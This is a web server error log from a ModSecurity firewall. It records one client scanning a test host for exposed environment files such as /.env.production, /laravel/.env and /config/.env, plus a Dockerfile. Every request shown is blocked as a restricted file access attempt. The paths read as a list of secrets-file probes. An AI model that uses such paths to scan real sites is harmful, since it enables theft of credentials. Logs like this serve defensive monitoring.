[Mon Jan 12 12:31:52.392674 2026] [:error] [pid 1365295] [client 35.180.31.174:33640] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aWTbqA7npFhQv7HWuOadbwAAAAo"]
[Mon Jan 12 12:31:52.554186 2026] [:error] [pid 1355924] [client 35.180.31.174:33684] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWTbqNIpinFXoPzDav5wZQAAAAE"]
[Mon Jan 12 12:31:52.554424 2026] [:error] [pid 1355924] [client 35.180.31.174:33684] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWTbqNIpinFXoPzDav5wZQAAAAE"]
[Mon Jan 12 12:31:52.554595 2026] [:error] [pid 1355924] [client 35.180.31.174:33684] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWTbqNIpinFXoPzDav5wZQAAAAE"]
[Mon Jan 12 12:31:52.633704 2026] [:error] [pid 1365300] [client 35.180.31.174:33706] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aWTbqNlKlmIJBGbQbR78VgAAAAs"]
[Mon Jan 12 12:31:52.633914 2026] [:error] [pid 1365300] [client 35.180.31.174:33706] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aWTbqNlKlmIJBGbQbR78VgAAAAs"]
[Mon Jan 12 12:31:52.634087 2026] [:error] [pid 1365300] [client 35.180.31.174:33706] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aWTbqNlKlmIJBGbQbR78VgAAAAs"]
[Mon Jan 12 12:31:52.713309 2026] [:error] [pid 1358564] [client 35.180.31.174:33720] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aWTbqB_UgGRJ4jDk47tQawAAAAY"]
[Mon Jan 12 12:31:52.713528 2026] [:error] [pid 1358564] [client 35.180.31.174:33720] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aWTbqB_UgGRJ4jDk47tQawAAAAY"]
[Mon Jan 12 12:31:52.713679 2026] [:error] [pid 1358564] [client 35.180.31.174:33720] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aWTbqB_UgGRJ4jDk47tQawAAAAY"]
[Mon Jan 12 12:31:52.795062 2026] [:error] [pid 1362231] [client 35.180.31.174:33744] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aWTbqMuCkgRo958sQERiFgAAAAc"]
[Mon Jan 12 12:31:52.795279 2026] [:error] [pid 1362231] [client 35.180.31.174:33744] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aWTbqMuCkgRo958sQERiFgAAAAc"]
[Mon Jan 12 12:31:52.795440 2026] [:error] [pid 1362231] [client 35.180.31.174:33744] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aWTbqMuCkgRo958sQERiFgAAAAc"]
[Mon Jan 12 12:31:52.963634 2026] [:error] [pid 1355923] [client 35.180.31.174:33808] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aWTbqCE1xEBhFyXickXrhAAAAAA"]
[Mon Jan 12 12:31:52.963830 2026] [:error] [pid 1355923] [client 35.180.31.174:33808] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aWTbqCE1xEBhFyXickXrhAAAAAA"]
[Mon Jan 12 12:31:52.963971 2026] [:error] [pid 1355923] [client 35.180.31.174:33808] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aWTbqCE1xEBhFyXickXrhAAAAAA"]
[Mon Jan 12 12:31:53.043109 2026] [authz_core:error] [pid 1355926] [client 35.180.31.174:33850] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Mon Jan 12 12:31:53.122022 2026] [:error] [pid 1362233] [client 35.180.31.174:33876] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aWTbqX2DuVtAKraH1YONeAAAAAk"]
[Mon Jan 12 12:31:53.122219 2026] [:error] [pid 1362233] [client 35.180.31.174:33876] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aWTbqX2DuVtAKraH1YONeAAAAAk"]
[Mon Jan 12 12:31:53.122381 2026] [:error] [pid 1362233] [client 35.180.31.174:33876] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aWTbqX2DuVtAKraH1YONeAAAAAk"]
[Mon Jan 12 12:31:53.202543 2026] [:error] [pid 1365295] [client 35.180.31.174:33904] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aWTbqQ7npFhQv7HWuOadcAAAAAo"]
[Mon Jan 12 12:31:53.202748 2026] [:error] [pid 1365295] [client 35.180.31.174:33904] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aWTbqQ7npFhQv7HWuOadcAAAAAo"]
[Mon Jan 12 12:31:53.202911 2026] [:error] [pid 1365295] [client 35.180.31.174:33904] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aWTbqQ7npFhQv7HWuOadcAAAAAo"]
[Mon Jan 12 12:31:53.285592 2026] [authz_core:error] [pid 1355925] [client 35.180.31.174:33938] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env
[Mon Jan 12 12:31:53.363501 2026] [:error] [pid 1355924] [client 35.180.31.174:33972] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aWTbqdIpinFXoPzDav5wZgAAAAE"]
[Mon Jan 12 12:31:53.363709 2026] [:error] [pid 1355924] [client 35.180.31.174:33972] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aWTbqdIpinFXoPzDav5wZgAAAAE"]
[Mon Jan 12 12:31:53.363855 2026] [:error] [pid 1355924] [client 35.180.31.174:33972] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aWTbqdIpinFXoPzDav5wZgAAAAE"]
[Mon Jan 12 12:31:53.446645 2026] [:error] [pid 1365300] [client 35.180.31.174:34004] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "aWTbqdlKlmIJBGbQbR78VwAAAAs"]
[Mon Jan 12 12:31:53.446839 2026] [:error] [pid 1365300] [client 35.180.31.174:34004] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "aWTbqdlKlmIJBGbQbR78VwAAAAs"]
[Mon Jan 12 12:31:53.447002 2026] [:error] [pid 1365300] [client 35.180.31.174:34004] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "aWTbqdlKlmIJBGbQbR78VwAAAAs"]
[Mon Jan 12 12:31:53.526370 2026] [:error] [pid 1358564] [client 35.180.31.174:34030] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aWTbqR_UgGRJ4jDk47tQbAAAAAY"]
[Mon Jan 12 12:31:53.526565 2026] [:error] [pid 1358564] [client 35.180.31.174:34030] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aWTbqR_UgGRJ4jDk47tQbAAAAAY"]
[Mon Jan 12 12:31:53.526716 2026] [:error] [pid 1358564] [client 35.180.31.174:34030] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aWTbqR_UgGRJ4jDk47tQbAAAAAY"]
[Mon Jan 12 12:31:53.606215 2026] [:error] [pid 1362231] [client 35.180.31.174:34066] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "Dockerfile" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "aWTbqcuCkgRo958sQERiFwAAAAc"]
[Mon Jan 12 12:31:53.606432 2026] [:error] [pid 1362231] [client 35.180.31.174:34066] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "aWTbqcuCkgRo958sQERiFwAAAAc"]
[Mon Jan 12 12:31:53.606586 2026] [:error] [pid 1362231] [client 35.180.31.174:34066] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "aWTbqcuCkgRo958sQERiFwAAAAc"]
[Mon Jan 12 12:31:53.686536 2026] [:error] [pid 1356126] [client 35.180.31.174:34092] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aWTbqTv8xyMiuvwfNnlj0QAAAAU"]
[Mon Jan 12 12:31:53.686731 2026] [:error] [pid 1356126] [client 35.180.31.174:34092] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aWTbqTv8xyMiuvwfNnlj0QAAAAU"]
[Mon Jan 12 12:31:53.686875 2026] [:error] [pid 1356126] [client 35.180.31.174:34092] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aWTbqTv8xyMiuvwfNnlj0QAAAAU"]
[Mon Jan 12 12:31:53.766430 2026] [:error] [pid 1355923] [client 35.180.31.174:34130] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aWTbqSE1xEBhFyXickXrhQAAAAA"]
[Mon Jan 12 12:31:53.766624 2026] [:error] [pid 1355923] [client 35.180.31.174:34130] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aWTbqSE1xEBhFyXickXrhQAAAAA"]
[Mon Jan 12 12:31:53.766788 2026] [:error] [pid 1355923] [client 35.180.31.174:34130] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aWTbqSE1xEBhFyXickXrhQAAAAA"]
